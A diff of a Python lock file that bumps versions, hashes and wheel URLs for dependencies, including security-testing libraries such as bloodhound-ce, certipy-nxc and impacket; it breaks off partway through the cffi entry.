"https://files.pythonhosted.org/packages/6c/8d/a0cfa361e4077c56bcda4b820c462dbea4a11ff60110bc8486c1f051b660/aardwolf-0.2.16-cp311-abi3-macosx_11_0_arm64.whl", hash = "sha256:fbde3046d4cdd3a5596dfcc988965b85527632cee46db2522961893d101fcbc7", size = 2169322, upload-time = "2026-10-04T18:44:41.102Z" }, + { url = "https://files.pythonhosted.org/packages/15/7b/079c9087a742763141d3e2e4b000f34c3962aa6cb67599158fcb08c9aaaa/aardwolf-0.2.16-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:69bedfad4b68b855a9d0df928c78eb0bbdc642c22f9845778c9df77a8fe9c259", size = 2241815, upload-time = "2026-10-04T18:44:43.011Z" }, + { url = "https://files.pythonhosted.org/packages/71/43/b51e73133aae6a3e56bfb79174e8a4edc99f8ef051202b0e7173053a0886/aardwolf-0.2.16-cp311-abi3-win_amd64.whl", hash = "sha256:b4d6032110ee238cf11c1f5efa86636462d7dc2e972b8464e949da82df58f3a6", size = 1966337, upload-time = "2026-10-04T18:44:45.294Z" }, +] [[package]] name = "aesedb" @@ -70,25 +82,24 @@ wheels = [ [[package]] name = "annotated-types" -version = "0.7.0" +version = "0.8.0" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89", size = 16081, upload-time = "2024-05-20T21:33:25.928Z" } +sdist = { url = "https://files.pythonhosted.org/packages/5f/56/a8120250d128bed162cd73c76d45f6ef9991f3e068f62a8ee060afa3104a/annotated_types-0.8.0.tar.gz", hash = "sha256:13b2beaad985e05e2d6407ee4c4f35590b11f8d693a258a561055cac8f64cab7", size = 15893, upload-time = "2026-07-23T20:16:13.995Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53", size = 13643, upload-time = "2024-05-20T21:33:24.1Z" }, + { url = "https://files.pythonhosted.org/packages/99/91/8acff4f5e50511b911bbccb72b8628a49c68ce14148cd9f6431094859a90/annotated_types-0.8.0-py3-none-any.whl", hash = "sha256:f072f4d804ea359e4eaf198b1af7a8b0943881a87f31bb764f8bf219bb9419e0", size = 13427, upload-time = "2026-07-23T20:16:12.938Z" }, ] [[package]] name = "anyio" -version = "4.14.1" +version = "4.14.2" source = { registry = "https://pypi.org/simple" } dependencies = [ - { name = "exceptiongroup", marker = "python_full_version < '3.11'" }, { name = "idna" }, { name = "typing-extensions", marker = "python_full_version < '3.13'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/3b/72/5562aabb8dd7181e8e860622a38bea08d17842b99ecd4c91f84ac95251b0/anyio-4.14.1.tar.gz", hash = "sha256:8d648a3544c1a700e3ff78615cd679e4c5c3f149904287e73687b2596963629e", size = 254831, upload-time = "2026-06-24T20:56:06.017Z" } +sdist = { url = "https://files.pythonhosted.org/packages/61/cc/a381afa6efea9f496eff839d4a6a1aed3bfafc7b3ab4b0d1b243a12573dd/anyio-4.14.2.tar.gz", hash = "sha256:cfa139f3ed1a23ee8f88a145ddb5ac7605b8bbfd8592baacd7ce3d8bb4313c7f", size = 260176, upload-time = "2026-07-12T20:29:07.082Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/b0/7b/90df4a0a816d98d6ea26f559d87836d494a2cf1fcf063be67df50a7bcc30/anyio-4.14.1-py3-none-any.whl", hash = "sha256:4e5533c5b8ff0a24f5d7a176cbe6877129cd183893f66b537f8f227d10527d72", size = 124875, upload-time = "2026-06-24T20:56:04.413Z" }, + { url = "https://files.pythonhosted.org/packages/da/35/f2287558c17e29fafc8ef3daf819bb9834061cfa43bff8014f7df7f63bdc/anyio-4.14.2-py3-none-any.whl", hash = "sha256:9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494", size = 125813, upload-time = "2026-07-12T20:29:05.763Z" }, ] [[package]] @@ -97,9 +108,6 @@ version = "0.5.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/b6/f0/881da69973abadac6848d27a0bf070b107ed5547ddbd1b092c30ab4c8b7c/arc4-0.5.0.tar.gz", hash = "sha256:259d4e505766639b7245d7199f3b4e72134d7adf20196820ffd3015954d85955", size = 6576, upload-time = "2026-04-05T13:22:36.059Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/24/3f/ab228c5d60e1d6ba345fa993b5336cd24376a86851673e112ad09b681c91/arc4-0.5.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:2a052f9934746d81917032a4f37b390577141c56b4445c7f85c52b1155fdbf9f", size = 9065, upload-time = "2026-04-05T13:22:18.032Z" }, - { url = "https://files.pythonhosted.org/packages/0b/68/32c530846e2037275c094854c63935a15fac694de9279e62b23d86cf00e7/arc4-0.5.0-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:83a1f1934c55256838aa40998b87777f881e81c2056af9734cdb35a84574488c", size = 16526, upload-time = "2026-04-05T13:22:18.983Z" }, - { url = "https://files.pythonhosted.org/packages/d9/e9/2086b401b89885156424f3d5095de9ae3807ba04b05a768ba320c163ebc1/arc4-0.5.0-cp310-cp310-win_amd64.whl", hash = "sha256:631786051c1468d3ec1010d1fc1089b539831d72d7f08ea342bdcd25aa019620", size = 9986, upload-time = "2026-04-05T13:22:20.064Z" }, { url = "https://files.pythonhosted.org/packages/e8/4f/f2e28e91c9083876090e6218d3f601f7d54acdb5cc189fd4af406f104778/arc4-0.5.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:343a67c0bd2dcfdee78dc4269d8bd8ac362e6e911047833172468b337faccb1f", size = 9068, upload-time = "2026-04-05T13:22:20.845Z" }, { url = "https://files.pythonhosted.org/packages/37/80/84266d1b251fe29272d9f7796e3d4a323cf0a005749b6ddda45a191c2f11/arc4-0.5.0-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:0ffd6df658cf4d348eebbd125e9dcd35fcfcb2efec31ff4258b85791b0207bad", size = 17788, upload-time = "2026-04-05T13:22:21.66Z" }, { url = "https://files.pythonhosted.org/packages/b9/f7/e4ff9ee3d4b6227fd2e3b34d66d2242b7f55fd245c537b578e7f2b60becb/arc4-0.5.0-cp311-cp311-win_amd64.whl", hash = "sha256:6c20103a2ff7cd43b91d707fb520a3d10dac5b9ef647957a2d19fa3a05725be6", size = 9990, upload-time = "2026-04-05T13:22:22.815Z" }, @@ -109,8 +117,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/de/dc/f434e3517d61f8a3d9c19bb2f615942ae0888d35dd1ab8a8f39dbf4014fa/arc4-0.5.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ac5e9c3a589825afd31a10b6edd49bc8fe83ca88b4dc82dea6e977304304d36c", size = 10053, upload-time = "2026-04-05T13:22:26.246Z" }, { url = "https://files.pythonhosted.org/packages/dd/6e/782c46bfc80ca5afd2fc29d5d611a1db9172759aa7d0e538517d6c8a96b3/arc4-0.5.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:b8bcb09611b9e16a3f9d78b747c135386b59803a3fdecf4e7ff03eb3949e671b", size = 17706, upload-time = "2026-04-05T13:22:27.344Z" }, { url = "https://files.pythonhosted.org/packages/df/f7/f7a9473114eead7cdb1419eaab156ad767218be748a47922117cfa1167c1/arc4-0.5.0-cp313-cp313-win_amd64.whl", hash = "sha256:6fb7f6a7b16bc6fc3ed1eefaaa201810edec0e7dc08683970b2be0699b401e39", size = 10095, upload-time = "2026-04-05T13:22:28.12Z" }, - { url = "https://files.pythonhosted.org/packages/ec/e3/14bd4e0a24dc0f18f2236e40706899784d92059268c8039d32544ff9969a/arc4-0.5.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:cc0f6c9827d5f36a838cefbb3705ce1c6850df456d0e5b81c24733f857f3901d", size = 6901, upload-time = "2026-04-05T13:22:31.401Z" }, - { url = "https://files.pythonhosted.org/packages/bf/08/0bf1fe83abaf7c877490ef2b550f503cb865a80bab6c2f868e07843a17bd/arc4-0.5.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:e3f9144cad18c4cdf8d02de1068504c045b29461c511963e4a495ffb61af1148", size = 10087, upload-time = "2026-04-05T13:22:32.291Z" }, { url = "https://files.pythonhosted.org/packages/1d/f6/642e3b07a2db870354cfaad91535205455f09a03f4eeee82f72a37634662/arc4-0.5.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:ccbed58bff2ce25b45535173221091b86162727caca66f4e383221f8b306113a", size = 6902, upload-time = "2026-04-05T13:22:33.147Z" }, { url = "https://files.pythonhosted.org/packages/a6/80/12056b7138febb2e6c1294801ed7d072908ace2df58e0feed9347e3d9df4/arc4-0.5.0-pp311-pypy311_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:02435fe04cf147aff25a9be5380b16d6084f2469f51620b5fa3af936a6988c51", size = 8431, upload-time = "2026-04-05T13:22:33.896Z" }, { url = "https://files.pythonhosted.org/packages/17/ad/93ff0cb1be94d16357bdaf65fbe1f9c3dc33eb980a08af2c349bef71a43d/arc4-0.5.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:0c47bb37a5b80abcb7043d6b206068e4fbc90d27564aa667b2e7d90b2e7ff2cc", size = 10159, upload-time = "2026-04-05T13:22:35.025Z" }, @@ -262,17 +268,6 @@ version = "8.22.1" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/8d/13/d8b56ef2e6b6ae2cc1b23e509ea7cc8d3423aa0d8a7d7634c23c0bf845e2/bitstruct-8.22.1.tar.gz", hash = "sha256:97588318c906c60d33129e0061dd830b03d793c517033d312487c75426d1e808", size = 35616, upload-time = "2026-02-17T14:14:23.296Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/67/c9/a6a74c645b8a8d151c9bc0830a66a20e293fecfddbe37f4d8f3e0fa12819/bitstruct-8.22.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:9c250d8dbd6350dfd73cf4bccab700122072388bd388d284ada37149eeb49979", size = 37862, upload-time = "2026-02-17T14:12:58.826Z" }, - { url = "https://files.pythonhosted.org/packages/4e/c8/09a16455af0941635cf2f37c18a43d9bc7529e02f8b591c6c265c084ccdd/bitstruct-8.22.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:7fb40f50be4e60cb7a345ca4ceb16afcbcfecfa7cedf1cded44b8e1d8b8c3109", size = 38387, upload-time = "2026-02-17T14:13:00.389Z" }, - { url = "https://files.pythonhosted.org/packages/c8/30/e66995833d4d9c01e74371a7e8a2ed0ee0d4d9f7eeb3e5de3603d3101862/bitstruct-8.22.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8ebcc2ad3b9addd4a6a409481754c78ade65a8d24a4d34352e37df9b48aeabea", size = 80590, upload-time = "2026-02-17T14:13:01.712Z" }, - { url = "https://files.pythonhosted.org/packages/79/3c/adaaeb93f37958221152ea6af85b10cef71b9c57a3481ad589540aff012e/bitstruct-8.22.1-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:ec4d4e8308b3098e4de43f7ccd05d626bf2e4b650bea2b5fec9581f7bd7b4d01", size = 84216, upload-time = "2026-02-17T14:13:02.666Z" }, - { url = "https://files.pythonhosted.org/packages/d8/2f/29022203b6c93a609e4e8f8ec5e92594522bc82a59bc2528415f3af65e73/bitstruct-8.22.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8e44c42bbfa9540a3df261c9a9613a88e5e5df0ad3931bcc76b9f1cc215f4ece", size = 79627, upload-time = "2026-02-17T14:13:04.038Z" }, - { url = "https://files.pythonhosted.org/packages/28/ef/662577f57c11cf82926a9aa2081b798d5981fee759eb74439a3390218c66/bitstruct-8.22.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:8140c51b2e663d0efba9a6f5a77be4f26f3e147e65579be83f7c9b370df56cbe", size = 79775, upload-time = "2026-02-17T14:13:05.645Z" }, - { url = "https://files.pythonhosted.org/packages/55/62/7d347087e330822cd433ce1e49dc049c5b26444cc8900d3436d2ddea5a27/bitstruct-8.22.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:f7e6bff01ea3765d28d8e426b49e6a0e4f581a4d47329f54d3a83f3f0c23380e", size = 75893, upload-time = "2026-02-17T14:13:06.537Z" }, - { url = "https://files.pythonhosted.org/packages/a7/4c/6b0e029339280377413c920f49114163d82fa4324703d877ac62637f9156/bitstruct-8.22.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9430cc3849c24549578210c3e185427d01bc48734acaa9d7d17a767b19719381", size = 79025, upload-time = "2026-02-17T14:13:07.446Z" }, - { url = "https://files.pythonhosted.org/packages/ba/bc/f6bb7e709a6b40a857d41be272b4e251a497e1aad73334c8d279f72abfb3/bitstruct-8.22.1-cp310-cp310-win32.whl", hash = "sha256:9a00e7077c81318a2d7aea6a5e2988301ef316621136ddede68b4a361afc7581", size = 34806, upload-time = "2026-02-17T14:13:08.371Z" }, - { url = "https://files.pythonhosted.org/packages/29/21/16ebf2b053e3e890f02435800ac6acc369e3a5c51e3b2b7304a23faf19cc/bitstruct-8.22.1-cp310-cp310-win_amd64.whl", hash = "sha256:43e3d8113263894e2ca107d2f7376f2767cb880a6f9952b0f66087545a230994", size = 36860, upload-time = "2026-02-17T14:13:09.264Z" }, - { url = "https://files.pythonhosted.org/packages/02/04/63f9b2569aaf89db734b685388cb6676f958f7fb4ba5566555a2c79f5fb8/bitstruct-8.22.1-cp310-cp310-win_arm64.whl", hash = "sha256:86f68adf8945b80007cfed2318277fc2d5de5fb253d7df5d7a703dc10b54e149", size = 35704, upload-time = "2026-02-17T14:13:10.055Z" }, { url = "https://files.pythonhosted.org/packages/bd/48/7eae09e61478167ab084c503e384e203271c04213828db830af835fa8997/bitstruct-8.22.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a4d235cbdba2df0747d4e4a6a6d3d46505cc2b52b16e9d3d4431423401c565f6", size = 37853, upload-time = "2026-02-17T14:13:10.965Z" }, { url = "https://files.pythonhosted.org/packages/58/5a/4a4790504f98328f5576f6b27d4366da4fcd00cf7d5e6871b546730905b5/bitstruct-8.22.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7b3c29ee922e68538c575667bdc924e3ef09d21da94fd48a4a430f9c32c70997", size = 38380, upload-time = "2026-02-17T14:13:12.322Z" }, { url = "https://files.pythonhosted.org/packages/13/7b/156d71cb6b99e7b4e9802a1853a0f1dbdab5b4090c90eaee8eae1aa0371b/bitstruct-8.22.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7a493a66fac64f989f3c8043e40f9ceb6b8169592c7e5a9d37a1409f00cb757a", size = 82235, upload-time = "2026-02-17T14:13:13.385Z" }, @@ -341,8 +336,8 @@ wheels = [ [[package]] name = "bloodhound-ce" -version = "1.9.0" -source = { git = "https://github.com/blacklanternsecurity/BloodHound.py.git?rev=bloodhound-ce#0cdb387d6cf9e90273ad9df488bb9f9351ec2f1f" } +version = "1.9.1" +source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "dnspython" }, { name = "impacket" }, @@ -350,14 +345,18 @@ dependencies = [ { name = "pyasn1" }, { name = "pycryptodome" }, ] +sdist = { url = "https://files.pythonhosted.org/packages/93/38/74403e5730f3571a0cb42ddecc9b33af491eddb878db92be87b08add2180/bloodhound_ce-1.9.1.tar.gz", hash = "sha256:083df3dc3ad998edcff8fb63fdd8f5b464aab5fdac8e05cc9b3b6520210f79ab", size = 73209, upload-time = "2025-10-24T12:29:25.316Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f1/2b/6905e28beed94e06faec90a4d33bea746735334d48e9b1f8f6377c406938/bloodhound_ce-1.9.1-py3-none-any.whl", hash = "sha256:bb3bd6fb67b9337c738d4168b4f712b0d5544bb543c7405cc27977e61f67bab6", size = 85588, upload-time = "2025-10-24T12:29:23.95Z" }, +] [[package]] name = "certifi" -version = "2026.6.17" +version = "2026.7.22" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/c9/c7/424b75da314c1045981bd9777432fad05a9e0c69daa4ed7e308bbaffe405/certifi-2026.6.17.tar.gz", hash = "sha256:024c88eeec92ca068db80f02b8b07c9cef7b9fe261d1d535abfd5abd6f6af432", size = 134594, upload-time = "2026-06-17T10:31:07.894Z" } +sdist = { url = "https://files.pythonhosted.org/packages/a3/c2/24167ea9858356b47a87a50d39908bfdb72ceeefe0041586e704e5376b3a/certifi-2026.7.22.tar.gz", hash = "sha256:741e2c3b351ddf169a738da9f2c048608ff7f2c5cc02f1ebc6b118bb090d5d55", size = 138112, upload-time = "2026-07-22T03:35:12.644Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/ef/2f/c5464532e965badff2f4c4c1a3a83f5697f0d7c407ed0cda44aaa99bb451/certifi-2026.6.17-py3-none-any.whl", hash = "sha256:2227dcbaafe0d2f59279d1762ddddc37783ed4354594f194ffc31d20f41fc3db", size = 133289, upload-time = "2026-06-17T10:31:06.348Z" }, + { url = "https://files.pythonhosted.org/packages/0b/a7/71ac2cff56fec219ed242bb11b8efb69fcc4bec75db06fb7bfe35de520e6/certifi-2026.7.22-py3-none-any.whl", hash = "sha256:62f22742b58a1a33014a2b6b706588a8d7e2a88ae7bd1a6ebe8c992928483775", size = 136983, upload-time = "2026-07-22T03:35:11.276Z" }, ] [[package]] @@ -378,9 +377,9 @@ wheels = [ ] [[package]] -name = "certipy-ad" -version = "5.1.0" -source = { git = "https://github.com/Pennyw0rth/Certipy#2fa586dcfce5c90e7847be10586ae26f11741210" } +name = "certipy-nxc" +version = "5.1.0.post1" +source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "argcomplete" }, { name = "asn1crypto" }, @@ -394,202 +393,254 @@ dependencies = [ { name = "pycryptodome" }, { name = "requests" }, ] +sdist = { url = "https://files.pythonhosted.org/packages/db/b8/ebf0f6f0a3d54d7c309a58d692f54532edbc62d8358ea56dadd22ef8b041/certipy_nxc-5.1.0.post1.tar.gz", hash = "sha256:fb11ca11bcf2e1e7eb060e2c7a7ba78699baeafabb23598dd3770b61d07b75b8", size = 159110, upload-time = "2026-10-14T16:14:49.169Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/83/6e/5b1c9ceaf7b6092dfe50705af3b1eb5e239115d1044a162a3933a3fa24dc/certipy_nxc-5.1.0.post1-py3-none-any.whl", hash = "sha256:27620fdd7a7a44f5ea7d537732a8022d20dd02f7fcd76e2d7fff84daab43ecb0", size = 181768, upload-time = "2026-10-14T16:14:47.58Z" }, +] [[package]] name = "cffi" -version = "2.1.0" +version = "2.1.1" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "pycparser", marker = "implementation_name != 'PyPy'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/57/5f/ff100cae70ebe9d8df1c01a00e510e45d9adb5c1fdda84791b199141de97/cffi-2.1.0.tar.gz", hash = "sha256:efc1cdd798b1aaf39b4610bba7aad28c9bea9b910f25c784ccf9ec1fa719d1f9", size = 531036, upload-time = "2026-07-06T21:34:30.382Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/c0/e9/6d7724983b3d5a0908dbf74f64038ade77c18646ff6636ec7894fd392ce1/cffi-2.1.0-cp310-cp310-macosx_10_15_x86_64.whl", hash = "sha256:b65f590ef2a44640f9a05dbb548a429b4ade77913ce683ac8b1480777658a6c0", size = 183837, upload-time = "2026-07-06T21:32:09.655Z" }, - { url = "https://files.pythonhosted.org/packages/69/aa/24580a278de21fd7322635556334d9b535f1cbc00b0a3919447cdf464c65/cffi-2.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:164bff1657b2a74f0b6d54e11c9b375bc97b931f2ca9c43fcf875838da1570dd", size = 184226, upload-time = "2026-07-06T21:32:11.196Z" }, - { url = "https://files.pythonhosted.org/packages/88/a9/02cae418ec4beb282ace11958d9d4737793439d561fadc7e6d56f2e2b354/cffi-2.1.0-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:c941bb58d5a6e1c3892d86e42927ed6c180302f07e6d395d08c416e594b98b46", size = 211107, upload-time = "2026-07-06T21:32:12.328Z" }, - { url = "https://files.pythonhosted.org/packages/3b/30/c806937ed5e4c2c7ac30d9d6b76b5dc57ff8b75d83800d9bb11a8253cf2a/cffi-2.1.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a016194dbe13d14ee9556e734b772d8d67b947092b268d757fd4290e3ba2dfc2", size = 218733, upload-time = "2026-07-06T21:32:13.67Z" }, - { url = "https://files.pythonhosted.org/packages/f9/cf/398272b8bbfd58aa314fda5a7f1cdbb26d1d78ae324a11211521315dd1f0/cffi-2.1.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:03e9810d18c646077e501f661b682fbf5dee4676048527ca3cffe66faa9960dd", size = 205543, upload-time = "2026-07-06T21:32:15.148Z" }, - { url = "https://files.pythonhosted.org/packages/45/ca/f91641185cdd90c36d317a9dc7f85e88ef8682d8b300977baff5e23c35d8/cffi-2.1.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:19c54ac121cad98450b4896fa9a43ee0180d57bc4bc911a33db6cab1efab6cd3", size = 205460, upload-time = "2026-07-06T21:32:16.479Z" }, - { url = "https://files.pythonhosted.org/packages/38/66/04781a77b411f0bb5b234d62c1814754ab75ebe455ccff1b08e8d7aae98f/cffi-2.1.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4d433a51f1870e43a13b6732f92aaf540ff77c2015097c78556f75a2d6c030e0", size = 218760, upload-time = "2026-07-06T21:32:17.98Z" }, - { url = "https://files.pythonhosted.org/packages/d0/9a/bb1d5ed9c3fcae158e9f6391bf309c95d98c2ac37ed56573228471d0af5e/cffi-2.1.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3d7f118b5adbfdfead90c25822690b02bc8074fba949bb7858bec4ebd55adb43", size = 221230, upload-time = "2026-07-06T21:32:19.407Z" }, - { url = "https://files.pythonhosted.org/packages/41/aa/3c1409cdd26094efacd1c36c66e0a6eb9d4296e4fd4f9901b8b2042f4323/cffi-2.1.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:c5f5df567f6eb216de69be06ce55c8b714090fae02b18a3b40da8163b8c5fa9c", size = 213524, upload-time = "2026-07-06T21:32:20.828Z" }, - { url = "https://files.pythonhosted.org/packages/fa/75/74dfb7c3fc6ebbd408038476bd4c1d7e925c62614e7b9c534ecc34218288/cffi-2.1.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:11b3fb55f4f8ad92274ed26705f65d8f91457de71f5380061eb6d125a768fecd", size = 220341, upload-time = "2026-07-06T21:32:21.9Z" }, - { url = "https://files.pythonhosted.org/packages/70/b6/9003c33a3e7d2c1306f5962e646457dcfe5a8cd8fce6bbe02d7af25db783/cffi-2.1.0-cp310-cp310-win32.whl", hash = "sha256:9d72af0cf10a76a600a9690078fe31c63b9588c8e86bf9fd353f713c84b5db0f", size = 174578, upload-time = "2026-07-06T21:32:23.073Z" }, - { url = "https://files.pythonhosted.org/packages/8a/26/710688310447531c7a22f857c7f79d9855ec18b03e04494ced723fb37e2f/cffi-2.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:fb62edb5bb52cca65fab91a63afa7561607120d26090a7e8fda6fb9f064726da", size = 185071, upload-time = "2026-07-06T21:32:24.671Z" }, - { url = "https://files.pythonhosted.org/packages/d3/67/85c89a59ba36a671e79638f44d466749f08179266a57e4f2ffdf92174072/cffi-2.1.0-cp311-cp311-macosx_10_15_x86_64.whl", hash = "sha256:02cb7ff33ded4f1532476731f89ede53e2e488a8e6205515a82144246ffa7dcc", size = 183845, upload-time = "2026-07-06T21:32:26.32Z" }, - { url = "https://files.pythonhosted.org/packages/ea/dd/e3b0baa2d3d6a857ac72b7efbf18e32e487c9cdafcc13049ad765495b15e/cffi-2.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f5bce581e6b8c235e566a14768a943b172ada3ed73537bb0c0be1edee312d4e7", size = 184186, upload-time = "2026-07-06T21:32:28.025Z" }, - { url = "https://files.pythonhosted.org/packages/65/68/9f3ef890cf3c6ab97bd531c5677f67613d302165d16f8142b2811782a614/cffi-2.1.0-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:30b65779d598c370374fefabf138d456fd6f3216bfa7bedfab1ba82025b0cd93", size = 211892, upload-time = "2026-07-06T21:32:29.565Z" }, - { url = "https://files.pythonhosted.org/packages/22/d7/1a74539db16d8bfd839ff1515948948efbb162e574650fd3d846896eea95/cffi-2.1.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:88023dfe18799507b73f1dbb0d14326a17465de1bc9c9c7655c22845e9ddc3a2", size = 218793, upload-time = "2026-07-06T21:32:30.951Z" }, - { url = "https://files.pythonhosted.org/packages/ec/d1/9a5b7169499e8e8d8e636de70b97ac7c9447104d2ff1a2cd94790cea5162/cffi-2.1.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:0a96b74cda968eebbad56d973efe5098974f0a9fb323865bf99ea1fd24e3e64c", size = 205737, upload-time = "2026-07-06T21:32:32.216Z" }, - { url = "https://files.pythonhosted.org/packages/ba/b0/e131a9c41f10607926278453d9596163594fe1c4ebc46efe3b5e5b34eb84/cffi-2.1.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:a5781494d4d400a3f47f8f1da94b324f6e6b440a53387774002890a2a2f4b50f", size = 204909, upload-time = "2026-07-06T21:32:33.655Z" }, - { url = "https://files.pythonhosted.org/packages/fb/d2/4398416cd699b35167947c6e22aca52c47e69ad5695073c9f1f2c52e04aa/cffi-2.1.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:aa7a1b53a2a4452ada2d1b5dade9960b2522f1e61293a811a077439e39029565", size = 217883, upload-time = "2026-07-06T21:32:35.173Z" }, - { url = "https://files.pythonhosted.org/packages/a2/a5/d4fe77b589e5e82d43ebc809bf2e6474afe8e48e32ea050b9357645b6471/cffi-2.1.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:9d8272c0e483b024e1b9ad029821470ed8ec65631dbd90217469da0e7cd89f1c", size = 221251, upload-time = "2026-07-06T21:32:36.527Z" }, - { url = "https://files.pythonhosted.org/packages/22/f0/a2fc43084c0433caf7f461bccc013e28f848d04ee1c5ed7fce71423cf4d9/cffi-2.1.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:7762faa47e8ff7eb80bd261d9a7d8eea2d8baa69de5e95b70c1f338bbe712f02", size = 214250, upload-time = "2026-07-06T21:32:37.852Z" }, - { url = "https://files.pythonhosted.org/packages/04/8c/b925975448cf20634a9fbd5efceb807219db452653648d2897c0989cab2d/cffi-2.1.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:89095c1968b4ba8285840e131bf2891b09ae137fe2146905acae0354fbce1b5e", size = 219441, upload-time = "2026-07-06T21:32:39.146Z" }, - { url = "https://files.pythonhosted.org/packages/eb/da/5c4918a2d61d86fa927d716cb3d8e4626ef8dc8f605a599d32f33897f59a/cffi-2.1.0-cp311-cp311-win32.whl", hash = "sha256:64c753a0f87a256020004f37a1c8c02c480e725f910f0b2a0f3f07debd1b2479", size = 174496, upload-time = "2026-07-06T21:32:40.467Z" }, - { url = "https://files.pythonhosted.org/packages/f9/c8/6c2de1d55cf35ef8b92885d5ef280790f0fb9634d87ea1cc315176aecd61/cffi-2.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:4f26194e3d95e06501b942642855aed4f953d55e95d7d01b7c4483db3ecff458", size = 185113, upload-time = "2026-07-06T21:32:41.761Z" }, - { url = "https://files.pythonhosted.org/packages/9e/4e/e8d7cb5783f1841a3c8fb3a7735838d7484d08ec08c9f984b14cac1ac0e9/cffi-2.1.0-cp311-cp311-win_arm64.whl", hash = "sha256:35aaea0c7ee0e58a5cd8c2fd1a48fdf7ece0d2699b7ecdda08194e9ce5dd9b3d", size = 179927, upload-time = "2026-07-06T21:32:42.961Z" }, - { url = "https://files.pythonhosted.org/packages/1e/85/990925db5df586ec90beb97529c853497e7f85ba0234830447faf41c3057/cffi-2.1.0-cp312-cp312-macosx_10_15_x86_64.whl", hash = "sha256:df2b82571a1b30f58a87bf4e5a9e78d2b1eff6c6ce8fd3aa3757221f93f0863f", size = 184829, upload-time = "2026-07-06T21:32:44.324Z" }, - { url = 